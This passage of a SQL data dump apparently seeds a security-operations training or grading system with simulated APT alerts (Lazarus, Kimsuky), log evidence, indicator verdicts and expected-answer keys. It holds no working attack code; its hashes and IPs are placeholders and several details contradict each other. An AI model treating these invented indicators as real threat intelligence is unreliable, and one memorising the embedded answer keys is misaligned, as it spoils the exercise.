AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:55:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:54:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1479, 'Lateral Movement Across Network', 'high', 'Network Traffic Analysis', 'Utilizing harvested credentials, the attackers moved laterally within the network, targeting additional systems in the nuclear and energy sectors. This activity is consistent with advanced persistent threats known for targeting critical infrastructure.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.25\",\"username\":\"jdoe\",\"filename\":\"mimikatz.exe\",\"hash\":\"4bfa3a6d5ac6a7f8a3b0a9a7f5c3e2b1\",\"event_type\":\"lateral_movement\",\"network_protocol\":\"SMB\",\"action\":\"credential_dumping\",\"malware_tool\":\"Mimikatz\",\"notes\":\"The attacker used Mimikatz to extract credentials and moved laterally to 10.1.1.25, a critical system within the network.\"}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical system within the nuclear sector.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Mimikatz is a known tool for credential dumping.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"4bfa3a6d5ac6a7f8a3b0a9a7f5c3e2b1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1480, 'Exfiltration of Sensitive Data', 'critical', 'Data Loss Prevention (DLP) Tools', 'The Lazarus Group has initiated data exfiltration targeting critical defense strategies and nuclear research. This could lead to severe national security implications.', 'Data Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"event\":\"data_exfiltration\",\"source_ip\":\"192.168.45.12\",\"destination_ip\":\"203.0.113.57\",\"filename\":\"nuclear_research_plans.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"dlp_policy_triggered\":\"Sensitive Data Exfiltration\",\"malware_tool_used\":\"custom_exfil_tool_v1.2\"}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.45.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised host within the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nuclear_research_plans.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Local DLP\",\"verdict\":\"suspicious\",\"details\":\"File matches patterns of sensitive documents.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified in previous Lazarus Group campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account. Possible credential compromise.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1481, 'Spear Phishing Attempt with Malicious HWP Attachment', 'high', 'Email Gateway Logs', 'A spear-phishing email containing a malicious HWP attachment was sent to an individual associated with a South Korean think tank. The email originated from a known malicious IP address linked to Kimsuky APT group.', 'Initial Access', 'T1566.001 - Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T08:45:00Z\",\"email_subject\":\"Important Update on Seminar\",\"sender_email\":\"attacker@malicious-domain.com\",\"recipient_email\":\"victim@thinktank.kr\",\"attachment\":\"seminar_update.hwp\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\"}', '2026-03-15 19:07:24', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Tool X\",\"verdict\":\"malicious\",\"details\":\"Associated with Kimsuky APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malicious HWP file\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP used by Kimsuky group\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Attempt with Malicious HWP Attachment\",\"date\":\"2026-03-15T20:58:14.876Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1482, 'Execution of GoldDragon Malware via HWP Exploit', 'critical', 'Endpoint Detection and Response (EDR)', 'The GoldDragon malware was executed on the victim\'s machine through a malicious HWP file containing an embedded exploit. This activity signifies a successful execution phase intended to establish a foothold in the system.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"EDR-5678\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"user\":\"jdoe\",\"malware_name\":\"GoldDragon\",\"file_name\":\"malicious_file.hwp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"execution_path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\malicious_file.hwp\",\"process_id\":4321,\"alert_trigger\":{\"type\":\"exploit\",\"description\":\"HWP file exploit triggered GoldDragon execution\"}}', '2026-03-15 19:07:24', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to GoldDragon malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_file.hwp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Endpoint Logs\",\"verdict\":\"suspicious\",\"details\":\"File involved in exploit activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1483, 'Establishing Persistence with Registry Modifications', 'high', 'Registry Change Monitoring', 'The malware modifies the Windows Registry to ensure it runs on startup, allowing Kimsuky to regain control even after system reboots.', 'Persistence', 'T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:03:23Z\",\"event_id\":4657,\"user\":\"compromisedUser\",\"user_id\":\"S-1-5-21-1234567890-1234567890-1234567890-1001\",\"computer_name\":\"compromised-system\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"MaliciousStartup\",\"registry_value_data\":\"C:\\\\Users\\\\compromisedUser\\\\AppData\\\\Roaming\\\\malicious.exe\",\"process_name\":\"regedit.exe\",\"external_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:07:24', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Kimsuky APT group\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File identified as a variant of Kimsuky malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash known to be associated with Kimsuky malware\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromisedUser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account on the compromised system\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1484, 'Credential Dumping for Lateral Movement', 'high', 'Network Traffic Analysis', 'Detection of suspicious network traffic indicating credential dumping activity by Kimsuky APT group. The attacker utilized a known credential dumping tool to exfiltrate credentials from the compromised host 192.168.1.15, targeting additional systems for lateral movement.', 'Lateral Movement', 'T1003 Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:55Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"10.0.0.5\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"admin_user\",\"dump_tool\":\"mimikatz.exe\",\"hash\":\"3f7851f1c1b8a8f5f6d9a2d4f5e5e5f6\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\mimikatz.exe\",\"alert_id\":\"ALERT-20231012-0004\",\"action\":\"credential_dumping_attempt\",\"protocol\":\"SMB\",\"signature\":\"Suspicious Credential Dumping Tool Detected\"}', '2026-03-15 19:07:25', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known Kimsuky APT infrastructure\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Credential dumping tool\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f7851f1c1b8a8f5f6d9a2d4f5e5e5f6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with mimikatz\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
